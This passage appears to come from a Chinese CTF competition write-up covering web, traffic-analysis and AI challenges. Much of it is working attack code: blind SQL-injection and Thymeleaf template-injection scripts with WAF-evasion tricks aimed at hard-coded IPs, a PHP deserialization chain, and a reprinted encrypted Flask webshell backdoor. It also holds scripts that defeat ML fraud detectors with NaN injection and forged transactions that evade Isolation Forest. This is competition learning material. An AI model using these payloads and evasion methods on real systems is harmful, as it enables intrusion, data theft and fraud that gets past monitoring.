                # exp(710) 触发,条件为真: flag < test_value
                high = mid
                print(f"    '{chr(mid)}' -> flag < test")
            elif "频繁" in result:
                print("    [!] 频率限制,等待...")
                time.sleep(2)
                continue
            else:
                # 条件为假: flag >= test_value
                low = mid + 1
                print(f"    '{chr(mid)}' -> flag >= test")
        
        if low <= 33:
            print("\n[*] 提取结束")
            break
        
        char = chr(low - 1)
        flag += char
        print(f"\n[+] 第{pos}个字符: '{char}' | 当前flag: {flag}")
        
        if char == '}':
            break
    
    return flag

if __name__ == "__main__":
    print("SQL盲注脚本 - 无列名注入提取flag")
    print("目标表: where_is_my_flagggggg")
    print("-" * 60)
    
    # 使用方法2(更稳定)
    flag = get_flag_v2()
    
    print("\n" + "=" * 60)
    print(f"[*] 最终 flag: {flag}")
    print("=" * 60)

Dedecms

这题首先进入首页看到是DedeCMS V57_UTF8_SP2版本去网上找到参考文章可以打后台注入

https://blog.csdn.net/caiqiiqi/article/details/86631263

但是没有后台密码和用户

https://blog.csdn.net/caiqiiqi/article/details/83996312

又找到这篇文章说是可以进行后台密码重置,但是尝试发现不行但是在注册的时候发现在会员中心可以看到其他的用户名信息。

然后针对这两个用户进行爆破密码,成功爆破出Aa123456789的密码为Aa123456789登陆后台,可以进行任意文件上传拿webshell

EZ_JAVA

这个题直接弱口令或者密码爆破都可以进后台,进入后台发现存在Thymeleaf模版注入。所以可以利用常见的绕过方式去进行文件读取和命令执行等

首先测试常规的poc发现会解析报错

${T(java.lang.Runtime).getRuntime().exec('whoami')}

所以猜测对宇这种类型进行了过滤去网上参考一些文章想到通过反射实例化一些类来了列目录读取文件最终构造出

//列目录
''.getClass().forName('java.nio.file.Files').walk(     ''.getClass().forName('java.nio.file.Paths').get('/'),      1 ).collect(     ''.getClass().forName('java.util.stream.Collectors').toList() )

// 原始
Files.readAllLines(Paths.get("/flag"))

// 反射 + 混淆
''.getClass().forName('java.nio.file.Files')
  .readAllLines(
     ''.getClass().forName('java.nio.file.Paths').get('/'+'fla'+'g'+'_y0u_d0nt_kn0w')))

自动化脚本如下

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import re
import logging
from typing import Optional, List

# ================= 配置区域 =================
TARGET_URL = "http://8.147.132.32:32080"
USER_CREDENTIALS = ("admin", "admin123")
# ===========================================

# 配置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - [%(levelname)s] - %(message)s')
logger = logging.getLogger(__name__)

class BypassUtil:
    """
    专门处理 WAF 绕过的工具类
    """
    @staticmethod
    def obfuscate_string(text: str) -> str:
        """
        核心绕过技巧:将字符串拆解拼接
        输入: "flag"
        输出: 'f'+'l'+'a'+'g'
        原理: 只有最终在 Java 内存中拼接时才会出现敏感词,绕过 HTTP 层的流量检测
        """
        if not text:
            return "''"
        # 将每个字符用单引号包裹,并用 + 连接
        return "+".join([f"'{char}'" for char in text])

class SSTIGenerator:
    """
    生成基于反射的 SSTI Payload
    """
    @staticmethod
    def get_class(class_name: str) -> str:
        """
        生成获取类的反射代码
        原理: ''.getClass().forName('java.lang.Runtime')
        """
        obfuscated_name = BypassUtil.obfuscate_string(class_name)
        return f"''.getClass().forName({obfuscated_name})"

    @staticmethod
    def gen_list_dir_payload(path: str = "/") -> str:
        """
        生成列目录 Payload (基于 java.nio.file.Files.walk)
        """
        cls_files = SSTIGenerator.get_class("java.nio.file.Files")
        cls_paths = SSTIGenerator.get_class("java.nio.file.Paths")
        cls_collectors = SSTIGenerator.get_class("java.util.stream.Collectors")
        
        target_path = BypassUtil.obfuscate_string(path)

        # 构造复杂的 Java Stream 调用链
        payload = (
            f"[[${{"
            f"{cls_files}.walk({cls_paths}.get({target_path}), 1)"
            f".collect({cls_collectors}.toList())"
            f"}}]]"
        )
        return payload

    @staticmethod
    def gen_read_file_payload(file_path: str) -> str:
        """
        生成读文件 Payload (基于 java.nio.file.Files.readAllLines)
        """
        cls_files = SSTIGenerator.get_class("java.nio.file.Files")
        cls_paths = SSTIGenerator.get_class("java.nio.file.Paths")
        
        target_path = BypassUtil.obfuscate_string(file_path)

        payload = (
            f"[[${{"
            f"{cls_files}.readAllLines({cls_paths}.get({target_path}))"
            f"}}]]"
        )
        return payload

class SSTIExploit:
    def __init__(self, base_url: str):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        # 常见 CTF 场景通常没有 HTTPS 证书,禁用警告
        self.session.verify = False 
        import urllib3
        urllib3.disable_warnings()

    def login(self, username, password) -> bool:
        logger.info("尝试登录系统...")
        try:
            resp = self.session.post(
                f"{self.base_url}/login",
                data={"username": username, "password": password},
                timeout=10
            )
            if resp.status_code == 200:
                logger.info("登录成功")
                return True
            logger.error(f"登录失败: HTTP {resp.status_code}")
            return False
        except Exception as e:
            logger.error(f"登录异常: {e}")
            return False

    def send_payload(self, payload: str, tag: str) -> Optional[str]:
        """
        发送 Payload 并解析回显
        """
        logger.info(f"发送 Payload [{tag}]...")
        # logger.debug(f"Payload Content: {payload}") # 调试时可开启
        
        try:
            resp = self.session.post(
                f"{self.base_url}/admin/preview",
                data={"template": payload},
                timeout=10
            )
            
            # 使用正则提取 <div class="notice"> 中的内容
            # 这里优化了正则,兼容换行符 (re.DOTALL)
            match = re.search(r'<div class="notice">(.*?)</div>', resp.text, re.DOTALL)
            
            if match:
                raw_result = match.group(1).strip()
                # 简单的 HTML 反转义
                result = raw_result.replace('&lt;', '<').replace('&gt;', '>').replace('&quot;', '"')
                return result
            else:
                logger.warning("未匹配到预期回显 (可能 Payload 执行出错或无输出)")
                return None
                
        except Exception as e:
            logger.error(f"请求发送失败: {e}")
            return None

    def run(self):
        # 1. 登录
        if not self.login(*USER_CREDENTIALS):
            return

        # 2. 探测: 使用反射列出根目录
        # 这里不需要手动拼接 'f'+'lag',SSTIGenerator 会自动处理
        logger.info("步骤 1: 尝试列出根目录寻找 Flag 文件")
        dir_payload = SSTIGenerator.gen_list_dir_payload("/")
        dir_result = self.send_payload(dir_payload, "List Root Dir")
        
        target_file = None
        if dir_result:
            # 清理格式 [file1, file2] -> list
            files = dir_result.strip('[]').split(', ')
            logger.info(f"发现文件: {len(files)} 个")
            
            for f in files:
                # 自动寻找包含 flag 关键字的文件
                if 'flag' in f.lower():
                    target_file = f
                    logger.info(f"👉 发现疑似 Flag 文件: {f}")
                    # 找到一个就停止吗?通常 CTF 只有一个 flag
                    break
        
        # 3. 攻击: 读取目标文件
        if target_file:
            logger.info(f"步骤 2: 读取文件 {target_file}")
            
            # 自动生成读取 Payload (自动混淆路径)
            read_payload = SSTIGenerator.gen_read_file_payload(target_file)
            flag_content = self.send_payload(read_payload, "Read Flag")
            
            if flag_content:
                print("\n" + "#" * 50)
                print(f"🎉 FLAG 内容: {flag_content}")
                print("#" * 50 + "\n")
            else:
                logger.error("读取失败,未获取到内容")
        else:
            logger.error("未在根目录找到 flag 文件,可能在其他路径或文件名不同")

if __name__ == "__main__":
    exploit = SSTIExploit(TARGET_URL)
    exploit.run()

hellogate

这题访问看到只有一个图片所以通过view-source:查看页面源码发现了php代码

<?php
error_reporting(0);
class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle; 
    }
}
class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

很明显的php反序列化

利用链路径:A::triggerMethod() → echo "" . $ this-&gt;handle 字符串拼接会触发 $this->handle 的 __toString() 魔术方法B::__toString() → return $this->worker->result_访问 $ this-&gt;worker 的 result 属性如果 $this->worker 是 C 类实例,C 类没有 result 属性,会触发 get() 魔术方法C::get() → file_get_contents($this->cmd)_

<?php
class A {
    public $handle;
}
class B {
    public $worker;
    public $cmd;
}
class C {
    public $cmd;
}

// 构造 POP 链
$c = new C();
$c->cmd = "/flag";  // 要读取的文件,根据实际情况修改,如 /etc/passwd 或 flag.php

$b = new B();
$b->worker = $c;

$a = new A();
$a->handle = $b;

// 生成 payload
echo urlencode(serialize($a));

流量分析

SnakeBackdoor-1

题目背景信息

近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

直接去流量包过滤http协议

直接找最后的这个包就是登陆成功的包flag{zxcvbnm123}

SnakeBackdoor-2

问题:攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么

这里也是过滤http协议就在登陆成功之后的几个包发现了模版注入的操作提取出响应包的内容就可以了

flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3

攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key)

继续翻流量发现后面模版注入写入了一个恶意木马

通过写脚本还原出来恶意代码如下:

global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
       j = (j + S[i] + key[i % len(key)]) % 256
       S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
       i = (i + 1) % 256
       j = (j + S[i]) % 256
       S[i], S[j] = S[j], S[i]
       res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)
def backdoor_handler():
    if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
       return "Error"
    enc_hex_cmd = request.form.get('data')
    if not enc_hex_cmd:
       return ""
    try:
       enc_cmd = binascii.unhexlify(enc_hex_cmd)
       cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
       output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
       enc_output = rc4_crypt(output_bytes, RC4_SECRET)
       return binascii.hexlify(enc_output).decode()
    except:
       return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

可以看到密钥 v1p3r_5tr1k3_k3y

SnakeBackdoor-4

攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称

这里也还是继续分析后续与木马之间的通信流量因为是写的web马所以还是继续分析http协议,首先将加解密提取出来供后面提取解密的命令和回显信息

import os,binascii
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
       j = (j + S[i] + key[i % len(key)]) % 256
       S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
       i = (i + 1) % 256
       j = (j + S[i]) % 256
       S[i], S[j] = S[j], S[i]
       res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)
enc_cmd = binascii.unhexlify("e0ac7e52fc996cc2038c2d7a3899ed")
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
print(cmd)

最终翻到对应命令执行的包

解密出来的到名字python3.13

SnakeBackdoor-5

请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}

通过前面提取的web马继续http协议的分析看他们发送的payload解密发现中间下载了一个压缩包

对这个压缩包解密发现需要密码继续解密他后续的加密命令

通过解密脚本得出

拖入IDA,直接找到C2服务端的IP地址和端口:

继续分析逻辑,发现先从服务器获取4字节的随机数种子:

然后对其字节序进行转换,接着生成4个32位随机数作为密钥参数,进入sub_13B4()函数根据T变换和S盒生成密钥。

通过前面逆向分析得知的信息去流量找信息,可以采用如下的过滤手段去找前面的四个字节

ip.addr == 192.168.1.201 && tcp.port == 58782
ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len > 0
ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len == 4

在WireShark中根据IP和端口找到4字节的随机数种子:

然后编写脚本模拟程序生成key即可。

完整解题脚本:

import struct

class Rand:
    def __init__(s, seed):
        s.r = [0]*32; s.r[1] = seed & 0xFFFFFFFF
        for i in range(2,32): s.r[i] = (16807*s.r[i-1]) % 2147483647
        s.f, s.b = 4, 1
        for _ in range(310): s.rand()
    def rand(s):
        v = (s.r[s.f] + s.r[s.b]) & 0xFFFFFFFF
        s.r[s.f] = v
        s.f = 1 if s.f>=31 else s.f+1
        s.b = 1 if s.b>=31 else s.b+1
        return (v>>1) & 0x7FFFFFFF

def gen_key(seed):
    rng = Rand(seed)
    return b''.join(struct.pack('<I', rng.rand()) for _ in range(4))

seed = 0x46209534
key = gen_key(seed)
print(key.hex())

# ac46fb610b313b4f32fc642d8834b456

SnakeBackdoor-6

在WireShark中过滤木马与C2服务器的通信流量:

ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len > 0

使用key:ac46fb610b313b4f32fc642d8834b456通过魔改后的SM4算法解密通信流量:

import struct

# 魔改S盒 (从IDA 0x2020提取)
SBOX = bytes([0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
0xd5,0xdb,0x39,0xb8,0x31,0x11,0x0c,0x5a,0xcb,0x3e,0x0a,0x45,0xe5,0x94,0x77,0x5b,
0x8d,0x6d,0x48,0x41,0x10,0xbd,0x09,0xc1,0x4a,0x89,0x0d,0x6e,0x97,0xa1,0x1d,0x16,
0x0a,0xd9,0x88,0x6a,0x96,0xd1,0x6b,0x32,0x02,0x35,0x46,0x06,0x7d,0x65,0x49,0x8c,
0xf0,0x3e,0x2d,0x7a,0x15,0xff,0x05,0x8e,0x01,0x84,0x3c,0x3a,0x38,0x53,0x87,0x7b,
0x0b,0x2b,0x7e,0x0f,0xf6,0x69,0xa8,0x5a,0xb5,0x4c,0x1b,0x39,0x7f,0x08,0x8d,0x1c])

FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
CK = [0x00070e15,0x1c232a31,0x383f464d,0x545b6269,0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
      0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
      0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,0x30373e45,0x4c535a61,0x686f767d,0x848b9299,
      0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,0x10171e25,0x2c333a41,0x484f565d,0x646b7279]

rot = lambda x,n: ((x<<n)|(x>>(32-n)))&0xffffffff

tau = lambda x: (SBOX[x&0xff]<<24)|(SBOX[(x>>8)&0xff]<<16)|(SBOX[(x>>16)&0xff]<<8)|SBOX[x>>24]
L = lambda x: x^rot(x,2)^rot(x,10)^rot(x,18)^rot(x,24)
Lp = lambda x: x^rot(x,13)^rot(x,23)

def sm4_dec(ct, key):
    mk = [struct.unpack('>I', key[i*4:i*4+4])[0] for i in range(4)]
    k = [mk[i]^FK[i] for i in range(4)]
    rk = []
    for i in range(32):
        rk.append(k[0]^Lp(tau(k[1]^k[2]^k[3]^CK[i])))
        k = k[1:] + [rk[-1]]

    pt = b''
    for blk in range(0, len(ct), 16):
        x = [struct.unpack('>I', ct[blk+i*4:blk+i*4+4])[0] for i in range(4)]
        for i in range(31, -1, -1):
            x = x[1:] + [x[0]^L(tau(x[1]^x[2]^x[3]^rk[i]))]
        pt += b''.join(struct.pack('>I', x[3-i]) for i in range(4))

    pad = pt[-1]
    return pt[:-pad] if 1<=pad<=16 else pt


key = bytes.fromhex("ac46fb610b313b4f32fc642d8834b456")
ct = bytes.fromhex("7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729")
print(sm4_dec(ct, key).decode())

# flag{6894c9ec-7l9b-46O5-82bf-4felde27738f}

AI

欺诈猎手的后门陷阱

这题是AI模型样本对抗,尝试过正负样本的统计特征分析,网格搜索,和模型逆向方法,均不成功。于是通过判题系统本身入手,构造Nan等特殊值,应该是一种非预期绕过。在大多数语言中,NaN > 0.9 是 False,NaN < 0 也是 False。构建一个自动脚本解密

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
AI 模型后门检测与利用工具 (Refactored)
针对场景: JSON NaN 注入绕过风控/触发模型后门
"""

import json
import base64
import logging
import requests
import urllib3
from dataclasses import dataclass
from typing import Optional, Tuple

# ==================== 配置区域 ====================
@dataclass
class Config:
    # 目标配置
    BASE_URL: str = "http://127.0.0.1:5000"  # 请替换为实际目标 IP
    API_ENDPOINT: str = "/api/predict"
    
    # 解密配置
    XOR_KEY: str = "ctf_2025_key"
    
    # 请求配置
    TIMEOUT: tuple = (5, 30)
    USER_AGENT: str = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# ==================== 初始化设置 ====================
# 禁用 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 配置日志
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - [%(levelname)s] - %(message)s',
    datefmt='%H:%M:%S'
)
logger = logging.getLogger("FraudHunter")

# ==================== 核心逻辑类 ====================

class AIBackdoorExploit:
    def __init__(self, config: Config):
        self.config = config
        self.target_url = f"{config.BASE_URL.rstrip('/')}{config.API_ENDPOINT}"
    
    def _get_raw_nan_payload(self) -> str:
        """
        构造包含原生 NaN 的非标准 JSON 字符串。
        这种构造方式绕过了标准序列化器的潜在过滤。
        """
        # 这里的 NaN 是字面量,不是字符串 "NaN"
        return """{
            "trans_amount_usd": NaN,
            "addr_deviation_score": NaN,
            "trans_time_risk_score": NaN,
            "merchant_code_hash": NaN,
            "card_issuer_code": NaN,
            "pos_terminal_id": NaN,
            "transaction_type_code": NaN,
            "cvv_verify_score": NaN,
            "account_age_month": NaN,
            "daily_trans_count": NaN
        }"""

    def trigger_backdoor(self) -> Tuple[Optional[str], Optional[str]]:
        """
        发送恶意负载触发后端逻辑漏洞
        """
        logger.info(f"正在尝试触发后门: {self.target_url}")
        
        headers = {
            "Content-Type": "application/json",
            "User-Agent": self.config.USER_AGENT
        }
        
        payload = self._get_raw_nan_payload()
        logger.debug(f"Payload Preview: {payload.replace(' ', '').replace(chr(10), '')}")

        try:
            # 关键点: 使用 data 参数发送 raw string,而非 json 参数
            response = requests.post(
                self.target_url,
                data=payload, 
                headers=headers,
                timeout=self.config.TIMEOUT,
                verify=False
            )
            
            logger.info(f"服务器响应: {response.status_code}")
            
            try:
                result = response.json()
            except json.JSONDecodeError:
                logger.error("响应不是有效的 JSON 格式")
                logger.debug(response.text)
                return None, None

            # 检查后门触发标志
            if result.get("backdoor_triggered"):
                logger.success("后门触发成功!") if hasattr(logger, 'success') else logger.info(">>> [SUCCESS] 后门触发成功!")
                return result.get("encrypted_flag"), result.get("hint")
            else:
                logger.warning("请求成功但后门未触发 (可能是Payload被清洗或未命中)")
                logger.debug(f"响应内容: {json.dumps(result, indent=2)}")
                return None, None

        except requests.RequestException as e:
            logger.error(f"网络请求失败: {e}")
            return None, None

    def decrypt_flag(self, encrypted_b64: str) -> Optional[str]:
        """
        执行多层解密: Base64 -> XOR -> Base64
        """
        if not encrypted_b64:
            return None
            
        logger.info("开始解密流程...")
        key = self.config.XOR_KEY
        
        try:
            # Layer 1: Base64 Decode
            step1_bytes = base64.b64decode(encrypted_b64)
            
            # Layer 2: XOR Decrypt
            key_bytes = key.encode('utf-8')
            xor_result = bytearray()
            for i, byte in enumerate(step1_bytes):
                xor_result.append(byte ^ key_bytes[i % len(key_bytes)])
            
            logger.debug(f"XOR 解密结果 (Hex): {xor_result.hex()}")
            
            # Layer 3: Base64 Decode (Final)
            # 有时候XOR后的结果直接是明文,有时候是Base64,这里做个兼容尝试
            try:
                final_flag = base64.b64decode(xor_result).decode('utf-8')
                logger.info("二次Base64解码成功")
            except Exception:
                logger.warning("二次Base64解码失败,尝试直接输出XOR结果")
                final_flag = xor_result.decode('utf-8', errors='ignore')

            return final_flag

        except Exception as e:
            logger.error(f"解密过程发生异常: {e}")
            return None

    def run(self):
        """执行完整攻击链"""
        logger.info("启动 Exploit...")
        
        enc_flag, hint = self.trigger_backdoor()
        
        if hint:
            logger.info(f"获取到题目提示: {hint}")
            
        if enc_flag:
            flag = self.decrypt_flag(enc_flag)
            if flag:
                print("\n" + "#" * 50)
                print(f"FLAG: {flag}")
                print("#" * 50 + "\n")
            else:
                logger.error("FLAG 解密失败")
        else:
            logger.error("未能获取加密数据,攻击链中断")

# ==================== 主程序 ====================

if __name__ == "__main__":
    # 实例化配置 (可在此处修改目标URL)
    # config = Config(BASE_URL="http://192.168.1.100:8000")
    config = Config() 
    
    exploit = AIBackdoorExploit(config)
    exploit.run()

The Silent Heist

目标银行使用 Isolation Forest 反欺诈系统需伪造交易金额总和超过 $2,000,000约束:不能被检测为异常、禁止重放、禁止重复分析 1000 条正常交易的 均值向量 和 协方差矩阵使用 多元正态分布 采样生成新数据本地用 Isolation Forest 预筛选,只保留"正常"样本给出脚本

#!/usr/bin/env python3
"""
The Silent Heist - CTF Exploit
对抗 Isolation Forest,伪造交易绑过反欺诈系统
"""

import numpy as np
import pandas as pd
from sklearn.ensemble import IsolationForest

# 加载数据
df = pd.read_csv('public_ledger.csv')
data = df.values

# 计算多元正态分布参数
mean = np.mean(data, axis=0)
cov = np.cov(data, rowvar=False)

# 训练 Isolation Forest (模拟服务端)
model = IsolationForest(n_estimators=100, contamination=0.05, random_state=42)
model.fit(data)

# 计算需要生成的数量
target = 2_000_000
n_samples = int(target / mean[0] * 1.2)  # 多生成20%

# 生成数据并去重
print(f"[*] 生成 {n_samples} 条伪造交易...")
original_hashes = {tuple(np.round(row, 4)) for row in data}
generated = []

while len(generated) < n_samples:
    samples = np.random.multivariate_normal(mean, cov, size=1000)
    for s in samples:
        h = tuple(np.round(s, 4))
        if h not in original_hashes:
            generated.append(s)
            original_hashes.add(h)
        if len(generated) >= n_samples:
            break

generated = np.array(generated)

# 筛选正常数据
predictions = model.predict(generated)
normal_data = generated[predictions == 1]
print(f"[*] 筛选后: {len(normal_data)} 条正常交易")

# 确保金额足够
while normal_data[:, 0].sum() < target:
    print("[!] 金额不足,继续生成...")
    extra = np.random.multivariate_normal(mean, cov, size=2000)
    extra_pred = model.predict(extra)
    normal_data = np.vstack([normal_data, extra[extra_pred == 1]])

# 选取刚好超过目标的数量
cumsum = np.cumsum(normal_data[:, 0])
n_needed = np.searchsorted(cumsum, target) + 50
final_data = normal_data[:n_needed]

print(f"[*] 最终: {len(final_data)} 条, 金额: ${final_data[:, 0].sum():,.2f}")

# 保存为提交格式
output = pd.DataFrame(final_data, columns=[f'f{i}' for i in range(20)])
with open('payload.txt', 'w') as f:
    output.to_csv(f, index=False)
    f.write('EOF')

print("[✓] 已保存到 payload.txt")
print("[*] 提交: cat payload.txt | nc <IP> <PORT>")
id="u0a216389">字节码,发现大概逻辑:

func add_point():
    Flag.key = Flag.key.replace("A", "B")

因此,将密钥中的A全部替换为B,然后使用AES解密。

完整解题脚本:

from Crypto.Cipher import AES

key = b"FanBglFanBglOoO!"
ct = bytes.fromhex("d458af702a680ae4d089ce32fc39945d")
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
print(pt)

# b'wOW~youAregrEaT!'

Eternum

拿到手三个文件:kworker、tcp.pcap、run.sh。

其中,run.sh的内容:

kworker 192.168.8.160:13337

一眼C2后门 + 流量包,目标应该是解密通信拿flag。

Wireshark打开pcap,发现TCP流量全是加密的,但有个明显特征:所有包都以 ET3RNUMX 开头。

协议的结构很容易分析出来:8字节 magic: ET3RNUMX + 4字节 length + 加密数据

IDA打开kworker,Go程序,符号被混淆了但字符串还在:

gSNFIZMf6ul.(*C9WNcDlbvKJZ).Encrypt
gSNFIZMf6ul.(*C9WNcDlbvKJZ).Decrypt
crypto/cipher: incorrect GCM nonce size

根据字符串可以确定是AES-GCM加密算法。

在字符串表中找到密钥:xfqGcVjrOWp5tUGCPFQq448nPDjILTe7。

对密文进行BASE32解码,然后解密即可。

完整解题脚本:

from scapy.all import rdpcap, TCP, Raw
from Crypto.Cipher import AES
import base64, re

KEY = b'xfqGcVjrOWp5tUGCPFQq448nPDjILTe7'

for pkt in rdpcap('tcp.pcap'):
    if TCP in pkt and Raw in pkt:
        raw = bytes(pkt[Raw].load)
        if raw[:8] == b'ET3RNUMX':
            enc = raw[12:]
            nonce, ct, tag = enc[:12], enc[12:-16], enc[-16:]
            pt = AES.new(KEY, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)
            m = re.search(rb'MZWGCZ33[A-Z2-7]+=*', pt)
            if m:
                print(base64.b32decode(m.group()).decode())
                break
                
# flag{b7c58700-2b01-4dd4-8526-a4a47a65a1a9}

Web安全

redjs

发现网站是Next.js框架,根据最近的CVE漏洞,直接在Github寻找一键利用工具:

Ai-waf

这题sql注入绕过利用的是Mysql8.0过滤select的新特性绕过

参考如下两篇文章:

https://threezh1.com/2020/12/06/Mysql8%E6%96%B0%E7%89%B9%E6%80%A7%E7%BB%95%E8%BF%87SELECT%E8%BF%87%E6%BB%A4/

https://www.freebuf.com/articles/web/344810.html

通过exp函数进行布尔值判断进行注入

{"query":"-1' || if((TABLE information_schema.tables LIMIT 1)>('def','mysql','columns_pra',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),exp(710),1)#"}

写出如下脚本

import json
import requests
import time

# 配置
url = 'http://182.92.64.244:32845/search'

def post_text(payload):
    """发送payload并返回响应文本"""
    header = {"Content-Type": "application/json"}
    data = json.dumps({"query": payload})
    try:
        resp = requests.post(url=url, data=data, headers=header, timeout=10)
        return resp.text
    except Exception as e:
        print(f"请求错误: {e}")
        return "error"

def check_condition(payload):
    """
    检查条件是否为真
    返回: True (条件为真), False (条件为假), None (需要重试)
    """
    result = post_text(payload)
    
    if "error" in result.lower() or "频繁" in result:
        # 频率限制,等待后重试
        return None
    elif "Nexa" in result or "success" in result:
        # 有结果返回,条件为假 (因为用的是 > 比较)
        return False
    else:
        # 无结果,条件为真
        return True

def get_flag_char(position, current_value):
    """获取flag的第position个字符"""
    low = 32
    high = 126
    
    while low < high:
        mid = (low + high) // 2
        test_value = current_value + chr(mid)
        
        # 无列名注入:比较整个元组
        # 如果 ('test_value') > (table where_is_my_flagggggg limit 0,1),条件为真
        payload = f"0' || if(('{test_value}')>(table where_is_my_flagggggg limit 0,1),exp(710),1) || '1'='1"
        
        # 发送请求
        result = None
        retry_count = 0
        while result is None and retry_count < 5:
            result = check_condition(payload)
            if result is None:
                retry_count += 1
                print(f"    [!] 频率限制,等待重试 ({retry_count}/5)...")
                time.sleep(2)
        
        if result is None:
            print(f"    [!] 重试次数过多,跳过")
            return None
        
        if result:  # 条件为真: test_value > flag_value
            # 说明 flag 的字符 < mid
            high = mid
            print(f"    [{position}] '{chr(mid)}' ({mid}) -> flag < test, high={high}")
        else:  # 条件为假: test_value <= flag_value
            # 说明 flag 的字符 >= mid
            low = mid + 1
            print(f"    [{position}] '{chr(mid)}' ({mid}) -> flag >= test, low={low}")
        
        time.sleep(0.3)
    
    # 找到的字符
    found_char = chr(low - 1) if low > 32 else None
    return found_char

def get_flag():
    """获取完整的flag"""
    print("=" * 60)
    print("[*] 开始提取 flag")
    print("[*] 表名: where_is_my_flagggggg")
    print("=" * 60)
    
    flag = ""
    
    for pos in range(1, 100):  # 假设flag最长100字符
        print(f"\n[*] 获取第 {pos} 个字符...")
        
        char = get_flag_char(pos, flag)
        
        if char is None or ord(char) <= 32:
            print(f"\n[*] 字符提取结束")
            break
        
        flag += char
        print(f"\n[+] 当前 flag: {flag}")
        
        # 如果遇到 } 可能是flag结束
        if char == '}':
            print("\n[*] 检测到 '}', flag可能已完整")
            break
    
    return flag

def get_flag_v2():
    """
    使用另一种比较方式获取flag
    比较逻辑: 如果 flag > test_value,返回error
    """
    print("=" * 60)
    print("[*] 开始提取 flag (方法2)")
    print("[*] 表名: where_is_my_flagggggg")
    print("=" * 60)
    
    flag = ""
    
    for pos in range(1, 100):
        print(f"\n[*] 获取第 {pos} 个字符...")
        
        low = 32
        high = 127
        
        while low < high:
